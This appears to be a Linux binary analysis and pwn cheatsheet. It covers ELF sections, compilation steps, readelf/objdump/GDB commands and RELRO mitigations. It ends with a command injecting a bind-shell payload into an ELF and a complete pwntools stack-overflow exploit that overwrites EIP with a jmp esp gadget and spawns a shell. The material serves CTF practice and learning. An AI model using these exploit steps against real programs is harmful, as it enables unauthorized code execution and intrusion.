Intro

A linux oriented binary analysis and pwn cheatsheet

Last updated: [check last-commit timestamp at the bottom of the page]

Resources

Compact ASCII tables

Hex & Decimal

   2 3 4 5 6 7       30 40 50 60 70 80 90 100 110 120
-------------      ---------------------------------
0:   0 @ P ` p     0:    (  2  <  F  P  Z  d   n   x
1: ! 1 A Q a q     1:    )  3  =  G  Q  [  e   o   y
2: " 2 B R b r     2:    *  4  >  H  R  \  f   p   z
3: # 3 C S c s     3: !  +  5  ?  I  S  ]  g   q   {
4: $ 4 D T d t     4: "  ,  6  @  J  T  ^  h   r   |
5: % 5 E U e u     5: #  -  7  A  K  U  _  i   s   }
6: & 6 F V f v     6: $  .  8  B  L  V  `  j   t   ~
7: ' 7 G W g w     7: %  /  9  C  M  W  a  k   u  DEL
8: ( 8 H X h x     8: &  0  :  D  N  X  b  l   v
9: ) 9 I Y i y     9: '  1  ;  E  O  Y  c  m   w
A: * : J Z j z
B: + ; K [ k {
C: , < L \ l |
D: - = M ] m }
E: . > N ^ n ~
F: / ? O _ o DEL

ELF format

Corkami Walkthrough

Example Reference Code

{% highlight c hl_lines=“1 3 4” %} #include

#define FORMAT_STRING “%s” #define MESSAGE “Hello Pizza!\n”

int main(int argc, char *argv[]) { printf(FORMAT_STRING, MESSAGE); return 0; } {% endhighlight %}

Compilation Steps

PREPROCESSING -> COMPILING -> ASSEMBLING -> LINKING

  1. C Preprocessing - will stop earlier and print macros and includes
    $ gcc -E -P <source_file>.c > <preprocessing_output>.i

  2. Compilation - will generate assembly code (intel syntax)
    $ gcc -S -masm=intel <source_file>.c

  3. Assembler # will generate an object file (machine code)
    $ gcc -c <source_file>.c

  4. Linking - incorporates all object files and static libraries in a single binary
    $ gcc <source_file>.c

Resulting files

 <filename>.i   ; preprocessed source
 <filename>.s   ; assembly code
 <filename>.o   ; object file
 <filename>.out ; binary executable

ELF Sections

.init
Performs initialization tasks and it’s the first code to run at startup before jumping to the main entry point.

.fini
Same purpose as .init but runs when the program terminates.

.text
It contains the main program code. This section is executable but not writable.

.rodata
It stores strings constants and is read-only.

.data
It stores default values of initialized values and it is writable.

.bss
It stores uninitialized variables and it is writable.

.got
GOT, or Global Offset Table.
It holds relocations regarding global variables, which are resolved once, at runtime.

.got.plt
It holds relocations about functions absolute addresses and works together with .plt when resolving those references. It is similar to the regular .got, and historically they were the same and has been introduced to mitigate the security weakness of having .got runtime-writable. However .got.plt can be also be runtime-writable when partial-RELRO is enabled and runtime-readonly when full-RELRO is enabled. More information here

.plt
PLT, or Procedure Linkage Table.
It consists of stubs of a well-defined format, made for directing calls from the .text section to the appropriate invoked library location.

.plt.got
This alternative PLT is used when full-RERLO is enabled with the ld option -z now at compile time, telling the dynamic linker that you want to use “now binding.”

.rel Contains information used by the linker when doing static or dynamic relocations.

.dynamic It tells the OS and dynamic linker how to load and set up the binary.

.init_array Contains pointers to functions constructors used during startup (formerly known as .ctors).

.fini_array Contains pointers to functions deconstructors used during (formerly known as .dtors).

ELF static analysis

ELF header

  • dump ELF’s header
    $readelf -h <filename>

Symbols

  • non stripped binary
    $ readelf --syms <filename>.out

  • stripping symbols from a binary
    $ strip --strip-all <filename>.out
    $ readelf --syms <filename>.out

Sections

  • dump all ELF’s sections information
    $readelf --sections --wide <filename>.out

  • dump the .plt section
    $ objdump -M intel --section .plt -d <filename>.out

  • dump the relocs
    $ readelf --relocs <filename>.out

Program headers

  • dump all ELF’s program headers information
    $ readelf --segments --wide <filename>.out

Binary Inspection/Forensic

  • Check magic bytes to obtain file type
    $ file <filename>
  • base64 decode
    $ base64 -d <encoded_file> > <decoded_file>
  • uncompress preview
    $ file -z <compressed_file>
  • uncompress file
    $ tar xvzf <compressed_file>
  • find library dependencies
    $ ldd <filename>
  • dump hex first 128 bytes
    $ xxd -l 128 <filename>
  • dump binary first 128 bytesr
    $ xxd -b -l 128 <filename>
  • dump c-style header first 128 bytes at a 256-bytes offset
    $ xxd -i -s 256 -l 128 <filename>
  • extract 64-bytes long ELF header residing 52 bytes after start, 1 byte a time time
    $ dd skip=52 count=64 if=<input_filename> of=<output_filename> bs=1
  • Calculate total binary file given ELF header only
    total_size = elf_section_header_offset + (elf_section_headers_count * elf_section_header_size)
  • List symbols from object file
    $ nm <filename>
  • List and demangle dynamic symbols from stripped object file
    $ nm -D --demangle <filename>
  • Add current path to the linker environment
    $ export LD_LIBRARY_PATH=`pwd`
  • Trace system calls
    $ strace <filename>`
  • Trace library calls while demangling C++ functions and printing EIP
    $ ltrace -i -C <filename>`

Disassembling

  • simple disassembly of an object file
    $ objdump -M intel -d <filename>.o
  • check relocations inside the object file
    $ readelf --relocs compilation_example.o
  • full binary disassembly
    $ objdump -M intel -d <filename>.out

ELF dynamic analysis

GDB

  • Set a breakpoint
    (gdb) b *0x[address]
  • Show the registers
    (gdb) info registers [specific register]
  • Dump a string at memory address
    (gdb) x/s 0x[memory_address]
  • Dump a four hex words at memory address
    (gdb) x/4xw 0x[memory_address]

Mitigations

Compile-time

  • Partial RELRO
    gcc -g -Wl,-z,relro -o test testcase.c
  • Full RELRO
    gcc -g -Wl,-z,relro,-z,now -o test testcase.c

Verify mitigations

  • Download checksec here
    checksec.sh --file [filename]

example output

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable  FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   8 Symbols   No  0       0   start

Binary Injection

  • Assemble a raw binary (removing any ELF overhead and leaving just the code)
    nasm -f bin -o test.bin test.s
  • Inject shellcode into an ELF
    elfinject ps bindshell.bin ".injected" 0x800000 -1

PWN

Shellcode x86 compilation (NASM)

  • Assemble
    nasm -f elf32 -o shellcode.o shellcode.nasm
  • Link
    ld -m elf_i386 -z execstack -o shellcode shellcode.o

pwntools

asm

$ asm nop
90
$ asm 'mov eax, 0xdeadbeef'
b8efbeadde

disasm

$ asm 'push eax' | disasm
   0:   50                      push   eax
$ asm -c arm 'bx lr' | disasm -c arm
   0:   e12fff1e        bx      lr

templates

start
from pwn import *

context.arch = "amd64"
r = process("./filename")
# r = remote("127.0.0.1", 8888)

r.interactive()
basic bof
# Import everything in the pwntools namespace
from pwn import *

# Create an instance of the process to talk to
io = gdb.debug('./challenge')

# Attach a debugger to the process so that we can step through
pause()

# Load a copy of the binary so that we can find a JMP ESP
binary = ELF('./challenge')

# Assemble the byte sequence for 'jmp esp' so we can search for it
jmp_esp = asm('jmp esp')
jmp_esp = binary.search(jmp_esp).next()

log.info("Found jmp esp at %#x" % jmp_esp)

# Overflow the buffer with a cyclic pattern to make it easy to find offsets
#
# If we let the program crash with just the pattern as input, the register
# state will look something like this:
#
#  EBP  0x6161616b ('kaaa')
# *ESP  0xff84be30 <-- 'maaanaaaoaaapaaaqaaar...'
# *EIP  0x6161616c ('laaa')
crash = False

if crash:
    pattern = cyclic(512)
    io.sendline(pattern)
    pause()
    sys.exit()

# Fill out the buffer until where we control EIP
exploit = cyclic(cyclic_find(0x6161616c))

# Fill the spot we control EIP with a 'jmp esp'
exploit += pack(jmp_esp)

# Add our shellcode
exploit += asm(shellcraft.sh())

# gets() waits for a newline
io.sendline(exploit)

# Enjoy our shell
io.interactive()